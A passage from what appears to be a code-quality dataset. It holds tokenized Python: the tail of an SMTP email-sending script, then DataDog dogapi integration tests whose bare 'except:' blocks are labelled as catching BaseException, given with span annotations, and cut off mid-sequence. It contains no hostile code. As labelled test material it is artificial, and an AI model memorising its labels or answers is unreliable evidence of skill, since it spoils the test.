"+]", " ", "Is", "sui", "ng", " ", "START", "TLS", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s_", "._", "startt", "ls_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", " ", "START", "TLS", " ", "establish", "ed", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "require", "login_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "print_", "\"[", "+]", " ", "Auth", "entica", "ting", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s_", "._", "login_", "(_", "self_", "._", "login_", ",_", "self_", "._", "password_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", " ", "Auth", "entica", "ted", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "\"[", "+]", " ", "Sen", "ding", " ", "email", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s_", "._", "sendmail_", "(_", "self_", "._", "to_", ",_", "[_", "self_", "._", "to_", "]_", ",_", "msg_", "._", "as", "\\u", "string_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", " ", "Mail", " ", "sent", ",", " ", "discon", "necti", "ng", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s_", "._", "quit_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "noe", "rror_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "smtplib_", "._", "SMT", "PS", "erver", "Disconnect", "ed_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", " ", "**", " ", "ERROR", ",", " ", "Server", " ", "disconnected", " ", "unexpected", "ly", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"", " ", " ", " ", " ", "Thi", "s", " ", "is", " ", "probab", "ly", " ", "oka", "y", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "noe", "rror_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "smtplib_", "._", "SMT", "PR", "esp", "ons", "e", "Exception_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", " ", "**", " ", "ERROR", " ", "Server", " ", "return", "ed", " ", "%", "s", " ", ":", " ", "%", "s", "\"_", "%_", "(_", "str_", "(_", "e_", "._", "smt", "p", "\\u", "code_", ")_", ",_", "e_", "._", "smt", "p", "\\u", "error_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "smtplib_", "._", "SMT", "PS", "ender", "Refu", "sed_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", " ", "**", " ", "ERROR", " ", "Sen", "der", " ", "refuse", "d", " ", "%", "s", " ", ":", " ", "%", "s", "\"_", "%_", "(_", "str_", "(_", "e_", "._", "smt", "p", "\\u", "code_", ")_", ",_", "smt", "p", "\\u", "error_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "smtplib_", "._", "SMT", "PR", "eci", "pie", "nts", "Refu", "sed_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", " ", "**", " ", "ERROR", " ", "Recipient", "s", " ", "refuse", "d", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "smtplib_", "._", "SMT", "PD", "ata", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", " ", "**", " ", "ERROR", " ", "Server", " ", "refuse", "d", " ", "to", " ", "accept", " ", "the", " ", "data", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "smtplib_", "._", "SMT", "PC", "onnect", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", " ", "**", " ", "ERROR", " ", "establish", "ing", " ", "connecti", "on", " ", "to", " ", "server", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "smtplib_", "._", "SMT", "PH", "elo", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", " ", "**", " ", "ERROR", " ", "HE", "LO", " ", "Error", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "except", " ", "smt", "pli", "b", ".", "SMT", "PA", "Ut", "hen", "tica", "tion", "Error", " ", "as", " ", "e", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "print", " ", "\"", " ", "**", " ", "ERROR", " ", "Auth", "entica", "tion", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "smtplib_", "._", "SMT", "PE", "xcept", "ion_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", " ", "**", " ", "ERROR", " ", "Sen", "ding", " ", "email", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", " ", "**", " ", "ERROR", " ", "Una", "ble", " ", "to", " ", "send", " ", "email", " ", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "noe", "rror_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", " ", "I", "'", "ll", " ", "try", " ", "again", " ", "in", " ", "%", "d", " ", "second", "s", "\"_", "%_", "this", "timeout_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "this", "timeout_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "this", "timeout_", "<_", "1200_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "this", "timeout_", "+=_", "5_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
DataDog/dogapi/tests/integration/test_dog_http_api.py
[ { "content": " def test_comments(self):\n wait_time = 3 # seconds\n now = datetime.datetime.now()\n now_ts = int(time.mktime(now.timetuple()))\n before_ts = int(time.mktime((now - datetime.timedelta(minutes=15)).timetuple()))\n message = 'test message ' + str(now_ts)\n\n comment_id = dog.comment(TEST_USER, message)\n time.sleep(wait_time)\n event = dog.get_event(comment_id)\n eq(event['text'], message)\n\n dog.update_comment(TEST_USER, message + ' updated', comment_id)\n time.sleep(wait_time)\n event = dog.get_event(comment_id)\n eq(event['text'], message + ' updated')\n\n reply_id = dog.comment(TEST_USER, message + ' reply', related_event_id=comment_id)\n time.sleep(wait_time)\n stream = dog.stream(before_ts, now_ts+100)\n\n ok(stream is not None, msg=\"No events found in stream\")\n ok(isinstance(stream, list), msg=\"Event stream is not a list\")\n ok(len(stream) > 0, msg=\"No events found in stream\")\n\n comment_ids = [x['id'] for x in stream[0]['comments']]\n ok(reply_id in comment_ids,\n msg=\"Should find {0} in {1}\".format(reply_id, comment_ids))\n\n # Delete the reply\n dog.delete_comment(reply_id)\n # Then the post itself\n dog.delete_comment(comment_id)\n time.sleep(wait_time)\n try:\n dog.get_event(comment_id)\n except:\n pass\n else:\n assert False", "metadata": "root.TestDatadog.test_comments", "header": "['class', 'TestDatadog', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 144 }, { "content": " @attr('dashboards')\n def test_dash(self):\n graph = {\n \"title\": \"test metric graph\",\n \"definition\":\n {\n \"requests\": [{\"q\": \"testing.metric.1{host:blah.host.1}\"}],\n \"viz\": \"timeseries\",\n }\n }\n\n dash_id = dog.create_dashboard('api dash', 'my api dash', [graph])\n remote_dash = dog.dashboard(dash_id)\n\n eq('api dash', remote_dash['title'])\n eq('my api dash', remote_dash['description'])\n eq(graph['definition']['requests'], remote_dash['graphs'][0]['definition']['requests'])\n\n graph = {\n \"title\": \"updated test metric graph\",\n \"definition\": {\n \"requests\": [{\"q\": \"testing.metric.1{host:blah.host.1}\"}],\n \"viz\": \"timeseries\",\n }\n }\n\n dash_id = dog.update_dashboard(dash_id, 'updated api dash',\n 'my updated api dash', [graph],\n template_variables=['foo', 'bar'])\n\n # Query and ensure all is well.\n remote_dash = dog.dashboard(dash_id)\n\n eq('updated api dash', remote_dash['title'])\n eq('my updated api dash', remote_dash['description'])\n self.assertEqual([\n {'default': None, 'name': 'foo', 'prefix': None},\n {'default': None, 'name': 'bar', 'prefix': None},\n ], remote_dash['template_variables'])\n\n p = graph['definition']['requests']\n eq(p, remote_dash['graphs'][0]['definition']['requests'])\n\n # Query all dashboards and make sure it's in there.\n\n dashes = dog.dashboards()\n ids = [dash[\"id\"] for dash in dashes]\n assert dash_id in ids or str(dash_id) in ids\n\n dog.delete_dashboard(dash_id)\n\n try:\n d = dog.dashboard(dash_id)\n except:\n pass\n else:\n # the previous get *should* throw an exception\n assert False", "metadata": "root.TestDatadog.test_dash", "header": "['class', 'TestDatadog', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 252 }, { "content": " def test_alerts(self):\n query = \"avg(last_1h):sum:system.net.bytes_rcvd{host:host0} > 100\"\n\n alert_id = dog.alert(query)\n alert = dog.get_alert(alert_id)\n time.sleep(10)\n assert alert['query'] == query, alert['query']\n assert alert['silenced'] == False, alert['silenced']\n assert alert['notify_no_data'] == False, alert['notify_no_data']\n\n dog.update_alert(alert_id, query, silenced=True)\n alert = dog.get_alert(alert_id)\n assert alert['query'] == query, alert['query']\n assert alert['silenced'] == True, alert['silenced']\n\n dog.update_alert(alert_id, query, silenced=True, notify_no_data=True, timeout_h=1)\n alert = dog.get_alert(alert_id)\n assert alert['query'] == query, alert['query']\n assert alert['silenced'] == True, alert['silenced']\n assert alert['notify_no_data'] == True, alert['notify_no_data']\n assert alert['timeout_h'] == 1, alert['timeout_h']\n\n dog.delete_alert(alert_id)\n try:\n dog.get_alert(alert_id)\n except:\n pass\n else:\n assert False, 'alert not deleted'\n\n query1 = \"avg(last_1h):sum:system.net.bytes_rcvd{host:host0} > 100\"\n query2 = \"avg(last_1h):sum:system.net.bytes_rcvd{host:host0} > 200\"\n\n alert_id1 = dog.alert(query1)\n alert_id2 = dog.alert(query2)\n alerts = dog.get_all_alerts()\n alert1 = [a for a in alerts if a['id'] == alert_id1][0]\n alert2 = [a for a in alerts if a['id'] == alert_id2][0]\n assert alert1['query'] == query1, alert1\n assert alert2['query'] == query2, alert2", "metadata": "root.TestDatadog.test_alerts", "header": "['class', 'TestDatadog', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 359 } ]
[ { "span": "except:", "start_line": 180, "start_column": 8, "end_line": 180, "end_column": 15 }, { "span": "except:", "start_line": 305, "start_column": 8, "end_line": 305, "end_column": 15 }, { "span": "except:", "start_line": 384, "start_column": 8, "end_line": 384, "end_column": 15 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "class_", "Test", "Data", "dog", "_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "comments_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "wait", "\\u", "time_", "=_", "3_", "#", " ", "seconds_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "now_", "=_", "datetime_", "._", "datetime_", "._", "now_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "now", "\\u", "ts_", "=_", "int_", "(_", "time_", "._", "mktime_", "(_", "now_", "._", "timetuple_", "(_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bef", "ore", "\\u", "ts_", "=_", "int_", "(_", "time_", "._", "mktime_", "(_", "(_", "now_", "-_", "datetime_", "._", "timedelta_", "(_", "minutes_", "=_", "15_", ")_", ")_", "._", "timetuple_", "(_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "message_", "=_", "'", "test", " ", "message", " ", "'_", "+_", "str_", "(_", "now", "\\u", "ts_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "comment", "\\u", "id_", "=_", "dog", "_", "._", "comment_", "(_", "TEST", "\\u", "USER_", ",_", "message_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "wait", "\\u", "time_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "event_", "=_", "dog", "_", "._", "get", "\\u", "event_", "(_", "comment", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "eq_", "(_", "event_", "[_", "'", "text", "'_", "]_", ",_", "message_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "dog", "_", "._", "update", "\\u", "comment_", "(_", "TEST", "\\u", "USER_", ",_", "message_", "+_", "'", " ", "update", "d", "'_", ",_", "comment", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "wait", "\\u", "time_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "event_", "=_", "dog", "_", "._", "get", "\\u", "event_", "(_", "comment", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "eq_", "(_", "event_", "[_", "'", "text", "'_", "]_", ",_", "message_", "+_", "'", " ", "update", "d", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "repl", "y", "\\u", "id_", "=_", "dog", "_", "._", "comment_", "(_", "TEST", "\\u", "USER_", ",_", "message_", "+_", "'", " ", "repl", "y", "'_", ",_", "relate", "d\\u", "event", "\\u", "id_", "=_", "comment", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "wait", "\\u", "time_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "stream_", "=_", "dog", "_", "._", "stream_", "(_", "bef", "ore", "\\u", "ts_", ",_", "now", "\\u", "ts_", "+_", "100_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ok_", "(_", "stream_", "is_", "not_", "None_", ",_", "msg_", "=_", "\"", "No", " ", "events", " ", "found", " ", "in", " ", "stream", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ok_", "(_", "isinstance_", "(_", "stream_", ",_", "list_", ")_", ",_", "msg_", "=_", "\"", "Event", " ", "stream", " ", "is", " ", "not", " ", "a", " ", "list", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ok_", "(_", "len_", "(_", "stream_", ")_", ">_", "0_", ",_", "msg_", "=_", "\"", "No", " ", "events", " ", "found", " ", "in", " ", "stream", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "comment", "\\u", "ids_", "=_", "[_", "x_", "[_", "'", "id", "'_", "]_", "for_", "x_", "in_", "stream_", "[_", "0_", "]_", "[_", "'", "comment", "s", "'_", "]_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ok_", "(_", "repl", "y", "\\u", "id_", "in_", "comment", "\\u", "ids_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "msg_", "=_", "\"", "Sho", "ul", "d", " ", "find", " ", "{", "0", "}", " ", "in", " ", "{", "1", "}\"_", "._", "format_", "(_", "repl", "y", "\\u", "id_", ",_", "comment", "\\u", "ids_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Delete", " ", "the", " ", "reply_", "\\u\\u\\uNL\\u\\u\\u_", "dog", "_", "._", "delete", "\\u", "comment_", "(_", "repl", "y", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "The", "n", " ", "the", " ", "post", " ", "its", "elf_", "\\u\\u\\uNL\\u\\u\\u_", "dog", "_", "._", "delete", "\\u", "comment_", "(_", "comment", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "wait", "\\u", "time_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dog", "_", "._", "get", "\\u", "event_", "(_", "comment", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Data", "dog", "_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "attr_", "(_", "'", "dashboards", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "dash_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "graph_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "title", "\"_", ":_", "\"", "test", " ", "metric", " ", "graph", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "definit", "ion", "\"_", ":_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "request", "s", "\"_", ":_", "[_", "{_", "\"", "q", "\"_", ":_", "\"", "testi", "ng", ".", "metric", ".1", "{", "host", ":", "bla", "h", ".", "host", ".1", "}\"_", "}_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "viz", "\"_", ":_", "\"", "times", "eries", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "dash", "\\u", "id_", "=_", "dog", "_", "._", "create", "\\u", "dashboard_", "(_", "'", "api", " ", "dash", "'_", ",_", "'", "my", " ", "api", " ", "dash", "'_", ",_", "[_", "graph_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "remote", "\\u", "dash_", "=_", "dog", "_", "._", "dashboard_", "(_", "dash", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "eq_", "(_", "'", "api", " ", "dash", "'_", ",_", "remote", "\\u", "dash_", "[_", "'", "title", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "eq_", "(_", "'", "my", " ", "api", " ", "dash", "'_", ",_", "remote", "\\u", "dash_", "[_", "'", "description", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "eq_", "(_", "graph_", "[_", "'", "definit", "ion", "'_", "]_", "[_", "'", "request", "s", "'_", "]_", ",_", "remote", "\\u", "dash_", "[_", "'", "graph", "s", "'_", "]_", "[_", "0_", "]_", "[_", "'", "definit", "ion", "'_", "]_", "[_", "'", "request", "s", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "graph_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "title", "\"_", ":_", "\"", "update", "d", " ", "test", " ", "metric", " ", "graph", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "definit", "ion", "\"_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "request", "s", "\"_", ":_", "[_", "{_", "\"", "q", "\"_", ":_", "\"", "testi", "ng", ".", "metric", ".1", "{", "host", ":", "bla", "h", ".", "host", ".1", "}\"_", "}_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "viz", "\"_", ":_", "\"", "times", "eries", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "dash", "\\u", "id_", "=_", "dog", "_", "._", "update", "\\u", "dashboard_", "(_", "dash", "\\u", "id_", ",_", "'", "update", "d", " ", "api", " ", "dash", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "my", " ", "update", "d", " ", "api", " ", "dash", "'_", ",_", "[_", "graph_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "template", "\\u", "variables_", "=_", "[_", "'", "foo", "'_", ",_", "'", "bar", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Query", " ", "and", " ", "ensure", " ", "all", " ", "is", " ", "well", "._", "\\u\\u\\uNL\\u\\u\\u_", "remote", "\\u", "dash_", "=_", "dog", "_", "._", "dashboard_", "(_", "dash", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "eq_", "(_", "'", "update", "d", " ", "api", " ", "dash", "'_", ",_", "remote", "\\u", "dash_", "[_", "'", "title", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "eq_", "(_", "'", "my", " ", "update", "d", " ", "api", " ", "dash", "'_", ",_", "remote", "\\u", "dash_", "[_", "'", "description", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "default", "'_", ":_", "None_", ",_", "'", "name", "'_", ":_", "'", "foo", "'_", ",_", "'", "prefix", "'_", ":_", "None_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "default", "'_", ":_", "None_", ",_", "'", "name", "'_", ":_", "'", "bar", "'_", ",_", "'", "prefix", "'_", ":_", "None_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", ",_", "remote", "\\u", "dash_", "[_", "'", "template", "\\u", "variab", "les", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "p_", "=_", "graph_", "[_", "'", "definit", "ion", "'_", "]_", "[_", "'", "request", "s", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "eq_", "(_", "p_", ",_", "remote", "\\u", "dash_", "[_", "'", "graph", "s", "'_", "]_", "[_", "0_", "]_", "[_", "'", "definit", "ion", "'_", "]_", "[_", "'", "request", "s", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Query", " ", "all", " ", "dashboards", " ", "and", " ", "make", " ", "sure", " ", "it", "'", "s", " ", "in", " ", "there", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "dashes", "_", "=_", "dog", "_", "._", "dashboards", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ids_", "=_", "[_", "dash_", "[_", "\"", "id", "\"_", "]_", "for_", "dash_", "in_", "dashes", "_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "dash", "\\u", "id_", "in_", "ids_", "or_", "str_", "(_", "dash", "\\u", "id_", ")_", "in_", "ids_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "dog", "_", "._", "delete", "\\u", "dashboard_", "(_", "dash", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "d_", "=_", "dog", "_", "._", "dashboard_", "(_", "dash", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "the", " ", "previ", "ous", " ", "get", " ", "*", "shou", "ld", "*", " ", "throw", " ", "an", " ", "exception_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Data", "dog", "_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "alerts_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "query_", "=_", "\"", "avg", "(", "last", "\\u", "1", "h", "):", "sum", ":", "system", ".", "net", ".", "bytes", "\\u", "rcv", "d", "{", "host", ":", "host", "0", "}", " ", ">", " ", "100", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "alert", "\\u", "id_", "=_", "dog", "_", "._", "alert_", "(_", "query_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alert_", "=_", "dog", "_", "._", "get", "\\u", "alert_", "(_", "alert", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "10_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "alert_", "[_", "'", "query", "'_", "]_", "==_", "query_", ",_", "alert_", 